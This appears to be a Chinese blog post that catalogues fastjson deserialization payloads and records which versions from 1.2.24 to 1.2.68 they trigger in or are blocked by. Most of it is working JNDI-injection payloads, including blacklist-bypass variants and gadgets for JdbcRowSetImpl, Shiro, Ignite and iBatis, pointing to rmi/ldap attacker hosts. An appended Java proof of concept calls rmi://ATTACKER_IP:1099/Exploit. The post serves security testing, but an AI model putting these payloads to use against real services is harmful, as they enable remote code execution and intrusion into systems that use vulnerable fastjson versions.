fastjson漏洞不同版本payload测试

本文记录了多个版本中JNDI配置引发报错或被拦截的情况,重点关注了不同JDBC RowSetImpl、JMS、数据库连接、Shiro等组件与JNDI的交互,以及如何根据报错策略进行版本排查和后续解决方案。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

备注说明:0:无报错无触发 1:报错但不是黑名单 2:被黑名单拦截或pop链不存在
测试版本按照顺序:1.2.24、1.2.41、1.2.42、1.2.47、1.2.62、1.2.67、1.2.68
如果连续出现两次2我就视为后续版本也不适用,不再继续检测

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/jndi", "autoCommit":true}
1.2.24、2、2

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}
1.2.24、2、2

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}
1.2.24、2、2

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}
1.2.24、2、2

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1399/Exploit"}}
0、2、2

{"a":{"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"},"b":{"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://x.x.x.x:1999/Exploit","autoCommit": true}}
1.2.24、1.2.41、1.2.42、1.2.47、2、2

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
0、2、2

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
0、2、2

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
0、2、2

{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}}
0、2、2

{"x":{"@type":"java.net.InetSocketAddress"{"address":,"val":"rmi://39.99.154.30:1099/TouchFile"}}}
1(触发但是没有监听到)、1(触发但是没有监听到)、1(触发但是没有监听到)、1(触发但是没有监听到)、1(触发但是没有监听到)、1(触发但是没有监听到)、1(触发但是没有监听到)

{"a":{"@type": "java.lang.AutoCloseable", "@type":"java.io.Reader"},"rand1":{"@type":"java.net.InetSocketAddress"{"address":,"val":"dns_rmi_url"}}}
1(触发但是没有监听到)、1(触发但是没有监听到)、1(触发但是没有监听到)、、1(触发但是没有监听到)、1(触发但是没有监听到)、1(触发但是没有监听到)、1(触发但是没有监听到)
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","asText":"dns_rmi_url"}
0、2、2

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"dns_rmi_url"}
0、2、2

{"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"dns_rmi_url"}, "namespace":""}
0、2、2

{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"dns_rmi_url"}}
0、2、2

{"@type":"com.caucho.config.types.ResourceRef","lookupName": "dns_rmi_url"}
0、2、2

{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["dns_rmi_url"], "Realms":[""]}
0、2、2

{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"dns_rmi_url"}
0、2、2

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames": "dns_rmi_url"}
0、2、2

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName": "dns_rmi_url"}
0、2、2

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"dns_rmi_url","autoCommit":true}
1.2.14、2、2

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"test":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"dns_rmi_url","autoCommit":true}}}
1.2.14、1.2.41、1.2.42、1.2.47、2、2

{"@type":"org.apache.openjpa.ee.RegistryManagedRuntime","registryName":"dns_rmi_url", "rollbackOnly":null}
0、2、2

{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"dns_rmi_url"}
0、2、2
### 关于 Fastjson 1.2.24 漏洞 Payload 示例 Fastjson 是阿里巴巴开源的一款高性能 JSON 序列化和反序列化工具,在早期版本中存在多个严重的远程代码执行 (RCE) 漏洞。这些漏洞主要源于其 `autoType` 功能未充分校验输入数据,攻击者可以通过构造恶意的 JSON 数据触发 RCE。 #### 已知漏洞背景 在 Fastjson 的 `checkAutoType` 方法中,如果某些特定条件被满足,则可能导致类型绕过并最终实现任意代码执行[^2]。以下是几个典型的场景: - **`expectClass` 参数**:当该参数不为空且不属于预定义的安全类列表时(如 Object.class 或 Serializable.class),可能允许自定义类型的实例化。 - **黑名单机制不足**:早期版本中的黑名单策略基于明文匹配,容易通过变种方式规避检测[^3]。 - **特殊字符过滤缺失**:部分修复尝试仅简单增加了一些关键字检查,但未能全面覆盖所有潜在威胁向量。 #### Payload 构造原理 针对 Fastjson 1.2.24 及更早版本,常见的利用链依赖于 Java 类加载器的行为特性以及第三方库的支持。例如,`JdbcRowSetImpl` 被广泛用于演示此类漏洞的影响。下面是一个经典的 POC 实现: ```java import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; public class Exploit { public static void main(String[] args) throws Exception { // 启用 autoType 支持 ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 恶意 JSON 输入字符串 String poc = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://ATTACKER_IP:1099/Exploit\",\"autoCommit\":true}"; // 执行解析操作 JSON.parse(poc); } } ``` 上述代码片段展示了如何通过指定 `@type` 属性来控制目标对象的具体类型,并结合外部资源注入完成进一步的危害扩展。 > 注意事项 > - 替换掉 `ATTACKER_IP` 占位符为你实际部署的服务地址。 > - 此测试环境需确保隔离措施到位以免造成真实损害。 --- ### 技术细节补充说明 对于更高版本修补后的防御逻辑改进点如下: - 黑名单由原来的纯文本形式转变为哈希值存储结构,从而提高了对抗变形技巧的能力; - 新增了对非法路径分隔符 (`L`, `;`) 的额外筛查环节以减少误报率的同时增强安全性保障水平。 尽管如此,开发者仍应遵循官方建议禁用全局范围内的自动类型转换功能除非绝对必要情况下才开启局部许可权限设置。 ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

C1yas0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值